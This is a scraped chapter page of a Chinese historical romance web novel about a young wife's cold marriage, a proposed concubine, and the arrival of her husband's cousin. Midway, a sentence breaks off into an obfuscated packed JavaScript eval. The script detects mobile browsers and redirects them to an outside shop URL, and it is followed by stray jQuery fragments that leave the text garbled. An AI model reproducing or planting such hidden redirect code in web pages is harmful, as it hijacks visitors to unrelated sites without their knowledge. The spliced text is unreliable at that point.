默认冷灰
24号文字
方正启体

3. 第三章

作者:二十天明本书字数:K更新时间:
    沈谏渊说是让她自己受着,但事到一半,隐约听到她抽气的声音,知道她是疼着了,最后草草抽身,去了净室。


    李锦絮不明白自己是哪里惹得他不高兴了,无措地躺在床上。


    他应当是不高兴了吧,不然为什么会做到一半突然抽身呢?


    再等他出来,沈谏渊让吉月来替她也弄净了身子。


    屋子里头点起了一盏灯,收拾净了之后下人们接连退了出去,李锦絮问他,“我惹你不高兴了吗。”


    “没有。”沈谏渊拿来下人们送来的药,道:“过来上药。”


    他难道是在担心她吗?


    李锦絮马上坐了起来,往床沿挪了过去。


    沈谏渊为她上药,李锦絮觉得有些不好意思,说,“我自己来吧。”


    沈谏渊看出她的羞赧,也没执意,将药瓶递给了她,他侧过了身去,道:“小心些,别又给自己弄伤着。”


    “嗯。”李锦絮喏喏应着。


    李锦絮上完药后,又穿好了衣服,知道那事是继续做不下去了,若再做下去,沈谏渊怕也没有兴致。


    熄灯之后,两人重新躺回床上。


    他们睡在一起,习惯安安分分地一人一半,中间隔着明显的空隙,互不打扰。


    可是今夜重新躺回床上,李锦絮却慢慢挪动到了他的身边,同他靠在了一起,沈谏渊没有动,只是道:“刚上完药......”


    李锦絮道:“就是靠在一起呀,什么都不做。”


    沈谏渊终是没再说话了。


    李锦絮想了想,最后还是开口说起了袁氏所说的纳妾一事。


    若是叫袁氏知道她拖着不说,更会斥她是妒妇。


    她试探性开了口,道:“郎君,母亲这些时日同我提起,说想给你纳妾,是她身边跟着的小荷,你应当有印象的。”


    她话音方落,空气就陷入了死寂,半晌后,沈谏渊开口,他道:“我为何会有印象。”


    李锦絮叫他这么一噎,不知道该怎么说,但琢磨这话,不见他有甚兴趣的样子,心中暗自松了一口气,她以退为进,故作大度,道:“小荷这姑娘,手脚倒是勤快,模样还算周正,郎君若是喜欢,觉得可以,我便应了母亲。”


    小荷其实不是还算周正,是很周正,跟在主母身边的姑娘,哪里有相貌丑陋的,但李锦絮有自己的心思,他没印象,她就不将小荷夸得太漂亮。


    却听沈谏渊冷冷嗤了一声,“絮娘现下倒也是大度。”


    难怪这两日疯了一样的献殷勤,他心中觉得古怪,却没有细问,如今听来,原是这层缘故,她是想,他要纳妾?


    沈谏渊心中隐隐有些不大痛快,但他归咎于李锦絮那些上不得台面的小心思。


    他的声音听着仍旧是有些冷,道:“人还不曾来,便不少拈酸吃醋,你心里不喜欢,我自去回了母亲,又何必如此口是心非。”


    李锦絮听到他这样刻薄的话,当即面色涨红,她说,“怎就拈酸吃醋了,母亲要为你纳妾,我不是应得利落了吗,可曾拦过一分?”


    沈谏渊道:“你不应,可拦得住?”


    李锦絮有时候很恨他如此聪明,聪明到旁人在他的眼中就是一个丑角。


    对,她就是拦不住,什么都拦不住,所以才要这样子去引.诱他,心里面再不愿意,嘴上也要答应。


    他是她的丈夫,可两人同床异梦,心思各异。


    李锦絮一开始还极力不想他纳妾,因为不想以后日子更为难堪,毕竟,她现在能依仗的也只有他了。


    然而现在听到他这样说,她觉得自己简直是昏了脑袋,怎会将自己的心思寄托在他的身上?


    沈谏渊抽回了被她抱着的手,李锦絮也不想理他了,扭头闷进了最里边,再无言语。


    她先前想错了,沈谏渊不是用漂亮锦帕包着的石头,他是茅坑里面的石头,又臭又硬。


    许是生气,李锦絮今夜做梦,梦到了十八岁的沈谏渊。


    曾有一回,李锦絮跟在姐姐的屁股后面,一起同他出门逛街,逛街的时候,路上一堆人往他身上看。看就看吧,这也没什么,他人生得俊,大家看他也都正常。


    她跟在他们二人后面,听他们闲话聊天,姐姐没话找话,随便夸他两句,夸他相貌好旁人都爱看,沈谏渊淡淡回说,皮囊最不紧要。


    姐姐叫他这句话说得哑口无言,不知接些什么。


    李锦絮在后面听得也颇无语,皮囊最不紧要?那他成日打扮这么好看做什么?熏香、玉佩、锦服、发带,一个不少,跟个花孔雀似的。


    她十一岁那年,就觉得这个人又爱装相又无趣,无趣到她都有些同情姐姐将来要嫁给这种人。


    她又梦到十五岁那年,家里有喜宴,沈侯爷难得又携着沈谏渊登门李家,家里头热热闹闹的,她趁着人不注意,和阿恒偷偷躲出去玩了,后来很晚归家,被爹抓住。


    她本来就经常偷跑出去,放在以往是没事的,可那日沈侯爷他们也在,父亲觉得他们在,不教训就不行了,不然还以为他们李家没家教。


    父亲知她怕姐夫,故意问沈谏渊,该不该罚她。


    沈谏渊问,她如今多大了?


    十五了。


    沈谏渊说,十五年岁做这样的事,确实是有些不大懂事了。


    一岁不知事往人身上撒尿,那也无法让人生怒,十五岁和男子偷跑出去玩,那便是不懂事。


    沈谏渊若是劝她爹两句,也没什么,就因为他说的这话,她挨了十下手板。


    她懂事不懂事的,和他有半吊子钱关系,那手疼的半个月,她每日都在背地里头咒他骂他,直到生辰那日,他送了她一个很漂亮的夜明珠才作数。


    她很喜欢那个珠子。


    李锦絮忽梦少年事,这一夜都睡得不太踏实,迷迷糊糊,第二日早早就醒来了,醒来的时候,旁边的床褥又是冰的,沈谏渊已经不在了。


    她见外面的天亮了,以为沈谏渊是去上值了,丫鬟们捧着盥洗用具进来,正梳洗完,李锦絮转头瞥见沈谏渊从外头回来。


    他穿着一身玄色劲装,身形修长,矜贵逼人,额间隐约能见得一些薄汗,李锦絮看出,他是练剑回来了。


    往日两人若是晨起碰到,李锦絮往往会笑着上去同他说话,今日见了,她视而不见,看了一眼便收回了视线。


    他不是说她喜欢拈酸吃醋吗,她往他跟前凑,反倒惹他嫌弃白眼。


    沈谏渊也没多说什么,连看都未曾看她,径自往净室去。


    两人早膳是在一道用的,只是从始至终,都一句不言,用完了早膳之后,各自去了该去的地方。


    吉月看出了两人之间的别扭,出了门后,问道:“这是怎么了,昨个儿不还都好好的吗。”


    刚好脚下有一块石头,李锦絮狠狠一踢,踢得老远,她说,“谁知道他。”


    谁又知道他是哪里不痛快,戳到他什么地方,说起话来这般不留情面。


    就这样,两人一直互不理会过了两日。


    这两日中,不知沈谏渊是何时去找袁氏说过纳妾一事。


    大抵是他那边亲口拒绝了她,让袁氏颇为恼怒,她一恼,便将气撒到了她的身上。


    袁氏不怪沈谏渊,反倒是怪她不能容人。


    李锦絮晨时请安的时候又被她训,听她斥责,她默不作声,只是低着头装死。


    可袁氏尤不解气,又罚她在这里抄写《女戒》。


    正抄着的时候,下人过来传


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341112|199329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话,说是袁氏的外甥女来拜见侯夫人。


    袁氏的外甥女,名施兰仪。


    听施兰仪来了,袁氏让人带她进来。


    这女子约十八九的年纪,容貌清丽,皮肤白皙,下颌线条分明,不似寻常女子圆润,却自带一种风骨。


    李锦絮见过她。


    沈家有宴席,李家人会来,那袁氏的妹妹自然也会来,一来二去的,也就和施兰仪见过几面。


    沈谏渊对这个表妹很照顾,从前姐姐还没跑走的时候,她就看出来了。


    李锦絮曾经甚至和姐姐偷偷说过,若是将来和沈谏渊成亲了,一定不要让那两个人单独在一起,保不齐他们要做什么。


    姐姐听到她的话,给她脑袋来了一个爆栗,小小年纪,心思怪多。


    谁打李锦絮她都不服气,唯独姐姐揍她,她老老实实,挨打了抱着脑袋跑走,不讲就不讲!


    施兰仪是个柔性子,身子瞧着也不怎么好,她进了屋子见到李锦絮也在,朝她颔首,打了声招呼。


    李锦絮看到她,又低头见自己在抄写的女戒,忽觉有些窘迫,她放下了手上的毛笔,朝她笑了笑,只这笑,看起来尴尬。


    袁氏暂且来不及管李锦絮在想些什么,让施兰仪坐到了自己的对面,她问道:“小仪,今日怎么突然来了。”


    李锦絮也悄悄地去看施兰仪,才发现她的眼睛有些红,施兰仪道:“母亲病倒了,有些时日了,想让姨娘去看看。”


    袁氏和这个妹妹的关系甚好,如今听闻她病了,脸色变了变,她摸着她的脑袋,道:“病了,你这怎么不早些说,我早些去看看......”


    那两人说着事,说的忘乎所以,李锦絮想起,自己的父亲也病了有些时日,她很久没回去看过了。


    李锦絮想趁她们说着话不注意,往外躲,躲走了,就好了。


    才没走出两步就叫袁氏逮住了,“往哪去?”


    李锦絮急中生智,道:“晚上施表妹要留下吃晚膳吧,我喊厨房的人好生安排。”


    袁氏见她会来事,神色稍霁,道:“去吧,好好弄,别出差错了。”


    李锦絮也没少帮袁氏做家务事,袁氏喜欢躲清闲,一些不足轻重的闲事都推到她这个儿媳的身上,不过是顿晚膳,多了个人,多了双筷子,她弄得还算让袁氏满意。


    沈侯爷差不多时候也下值回来了,见施兰仪在,同她打了声招呼,入了座。


    李锦絮平日都是在茗章院用膳,但今日有客人在,怕袁氏说三道四,也留了下来,饭才用至一半,就见屋外进来一人,正是沈谏渊。


    李锦絮看到他后,不免一怔。


    他这些时日忙,许久没这么早回来过,尤是这两日他们冷着不说话,沈谏渊甚至连房都不回了,干脆睡在书房那里,怎么偏偏就今个儿回来的这么早?


    她正想着的时候,是施兰仪先冲着沈谏渊一笑,她唤他,“表哥。”


    李锦絮听到施兰仪的声音,大概明白为什么沈谏渊这么早回来了。


    她有些生气,更觉得恶心,既是这幅惺惺相惜做派,当初何不和他的好表妹在一起定了亲事?那姐姐也就不用嫁给他,也不至如今尚下落不明,而她更落不到这样的地步。


    沈谏渊冲施兰仪点了下头,算是应下,而后坐到了李锦絮的身旁,李锦絮从始至终没有说话,只是低着头,攥着筷子。


    她觉得有些难忍,一年多,便忍得如此恼火,几十年,又怎么忍。


    李锦絮最后实在有些忍不住,抬眸看向沈谏渊,忽地出声问道:“容行今日怎么归得这般早?”


    容行正是沈谏渊的表字。


    她这话有些在呛他,明眼人都听得出来,几个人的视线齐刷刷都看向了她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)